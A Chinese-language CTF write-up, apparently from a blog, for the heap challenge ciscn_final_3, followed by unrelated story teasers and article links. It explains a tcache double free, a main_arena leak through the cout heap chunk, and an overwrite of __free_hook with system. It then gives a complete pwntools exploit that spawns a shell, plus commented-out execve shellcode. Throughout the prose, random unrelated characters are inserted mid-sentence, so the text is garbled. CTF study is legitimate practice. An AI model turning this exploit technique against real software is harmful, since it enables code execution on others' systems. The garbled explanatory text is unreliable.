ciscn_final_3題解

  • 首先拿到題之后檢查防護(hù)情況


    checksec

    果然。喉祭。全開,無(wú)GOT可改,優(yōu)先考慮__free_hook和__malloc_hook

  • 查看程序功能發(fā)現(xiàn)漏洞點(diǎn)


    image.png

兩個(gè)簡(jiǎn)單功能愤惰,增刪,沒有打幼咐怼(心開始發(fā)涼


add

add功能無(wú)漏洞點(diǎn)宦言,每次分配后打印分配的地址,但注意size大小限制商模,不能進(jìn)入unsorted bin(一般思路:堆地址需要unsorted泄露找到main_arean地址奠旺,繼而根據(jù)相對(duì)偏移找到__free_hook地址


remove

remove功能發(fā)現(xiàn)double free,環(huán)境為ubuntu 18施流,有tcache機(jī)制响疚,構(gòu)造更加方便
好了,現(xiàn)在總結(jié)以下可利用的點(diǎn):

  • 堆地址泄露
  • double free(tcache 更是可以指向任意地址

解題關(guān)鍵在于將下一次空閑tcache的fd指向哪一塊區(qū)域瞪醋,繼而malloc獲取該地址

還是要從堆地址入手;!

查看運(yùn)行時(shí)堆情況趟章,在我們自己申請(qǐng)的堆上面有兩個(gè)大的堆塊(C++cin/cout的堆杏糙?


heapls

上面兩個(gè)free會(huì)進(jìn)入unsorted bin,所以大概思路是

  • 構(gòu)造第一次 dub free蚓土,使第三次申請(qǐng)會(huì)申請(qǐng)到0x8403250
  • 申請(qǐng)到0x8403250后釋放宏侍,會(huì)進(jìn)入unsorted bin,構(gòu)造第二次dub free泄露main_arean地址(地址為0x8403250的chunk進(jìn)入unsorted bin后fd與main_arean相關(guān)蜀漆,第四次申請(qǐng)得到main_arean+56地址
  • 根據(jù)偏移得到__free_hook地址谅河,更改為system,free一個(gè)內(nèi)容為"/bin/sh\x00"的堆塊确丢,觸發(fā)

坑:本來(lái)打算__free_hook劫持到堆上構(gòu)造的shellcode绷耍,不使用給的libc庫(kù),不通鲜侥。褂始。

需要vmmap查看heap執(zhí)行權(quán)限

完整exp:

from pwn import *
#context.log_level = 'debug'
sh = process('./ciscn_final_3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64')
def add(index, size, content):
    sh.sendline('1')
    sh.sendlineafter('index', str(index))
    sh.sendlineafter('size', str(size))
    sh.sendlineafter('thing', content)
    sh.recvuntil('gift :')
    return int(sh.recv(14), 16)

def remove(index):
    sh.sendline('2')
    sh.sendlineafter('index', str(index))


sh.recvuntil('choice >')
#sc='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
#sc = asm(
'''
xor rdi,rdi     
push rdi       
push rdi      
pop rsi         
pop rdx      
mov rdi,0x68732f6e69622f2f
shr rdi,0x08    
push rdi       
push rsp       
pop rdi      
push 0x3b   
pop rax          
syscall     
'''
sh_addr = add(0 ,0x56, "/bin/sh\x00")
log.success("sh_addr: "+hex(sh_addr))
cout_addr = sh_addr-0x11c10
log.success("cout_heap: "+hex(cout_addr))
add(1, 0x10, 'a')
remove(1)
remove(1)
add(2,0x10,p64(cout_addr))
add(3,0x10,'a')
add(4,0x10, 'chunk')
add(5,0x20,'a')
remove(4)
remove(5)
remove(5)
add(6,0x20,p64(cout_addr))
add(7,0x20,'a')
add(8,0x20,'a')
main_area = add(9,0x20,'main_area')
free_hook = main_area+0x1c48
log.success("main_area: "+hex(main_area))
log.success("free_hook: "+hex(free_hook))
system_addr=free_hook-libc.sym['__free_hook']+libc.sym['system']
log.success("system: "+hex(system_addr))
add(10,0x30,'10')
remove(10)
remove(10)
add(11,0x30,p64(free_hook))
add(12,0x30,'12')
add(13,0x30,p64(system_addr))
remove(0)
#gdb.attach(sh)
sh.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市描函,隨后出現(xiàn)的幾起案子崎苗,更是在濱河造成了極大的恐慌狐粱,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,383評(píng)論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件胆数,死亡現(xiàn)場(chǎng)離奇詭異肌蜻,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)必尼,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,522評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門蒋搜,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人判莉,你說我怎么就攤上這事齿诞。” “怎么了骂租?”我有些...
    開封第一講書人閱讀 157,852評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵祷杈,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我渗饮,道長(zhǎng)但汞,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,621評(píng)論 1 284
  • 正文 為了忘掉前任互站,我火速辦了婚禮私蕾,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘胡桃。我一直安慰自己踩叭,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,741評(píng)論 6 386
  • 文/花漫 我一把揭開白布翠胰。 她就那樣靜靜地躺著容贝,像睡著了一般。 火紅的嫁衣襯著肌膚如雪之景。 梳的紋絲不亂的頭發(fā)上斤富,一...
    開封第一講書人閱讀 49,929評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音锻狗,去河邊找鬼满力。 笑死,一個(gè)胖子當(dāng)著我的面吹牛轻纪,可吹牛的內(nèi)容都是我干的油额。 我是一名探鬼主播,決...
    沈念sama閱讀 39,076評(píng)論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼刻帚,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼潦嘶!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起我擂,我...
    開封第一講書人閱讀 37,803評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤衬以,失蹤者是張志新(化名)和其女友劉穎缓艳,沒想到半個(gè)月后校摩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體看峻,經(jīng)...
    沈念sama閱讀 44,265評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,582評(píng)論 2 327
  • 正文 我和宋清朗相戀三年衙吩,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了互妓。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,716評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡坤塞,死狀恐怖冯勉,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情摹芙,我是刑警寧澤灼狰,帶...
    沈念sama閱讀 34,395評(píng)論 4 333
  • 正文 年R本政府宣布,位于F島的核電站浮禾,受9級(jí)特大地震影響交胚,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜盈电,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,039評(píng)論 3 316
  • 文/蒙蒙 一蝴簇、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧匆帚,春花似錦熬词、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,798評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至嚎幸,卻和暖如春摩幔,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背鞭铆。 一陣腳步聲響...
    開封第一講書人閱讀 32,027評(píng)論 1 266
  • 我被黑心中介騙來(lái)泰國(guó)打工或衡, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人车遂。 一個(gè)月前我還...
    沈念sama閱讀 46,488評(píng)論 2 361
  • 正文 我出身青樓封断,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親舶担。 傳聞我的和親對(duì)象是個(gè)殘疾皇子坡疼,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,612評(píng)論 2 350

推薦閱讀更多精彩內(nèi)容

  • emmm這一篇既是開始,也是一個(gè)小小的總結(jié)衣陶。 Q1:為什么是ptmalloc呢柄瑰? A:內(nèi)存的分配釋放都很頻繁闸氮,pt...
    BJChangAn閱讀 1,589評(píng)論 0 1
  • Tags: house-of-orange,sub_arena,io_file 前言 這題有兩種做法.一種很麻煩但...
    pu1p閱讀 242評(píng)論 0 0
  • 孩子高考后就離婚”,他以為只是妻子的氣話教沾, 原來(lái)她準(zhǔn)備了十年蒲跨! 有些女人連離婚都是優(yōu)雅的。 一個(gè)剛離婚的男人談起自...
    飄雪的天堂閱讀 3,574評(píng)論 32 90
  • 下面就簡(jiǎn)單說下自己的一些淺薄的經(jīng)驗(yàn)吧授翻,希望能為屏幕前的你提供一點(diǎn)的啟發(fā)或悲。文章會(huì)先將經(jīng)常問到的問題一一列出來(lái),等以后...
    零點(diǎn)145閱讀 330評(píng)論 0 0
  • 轉(zhuǎn)換為number a=true堪唐;//1 a=false; //0 a=null; //0 a=undefined...
    多喝燙水_閱讀 154評(píng)論 0 0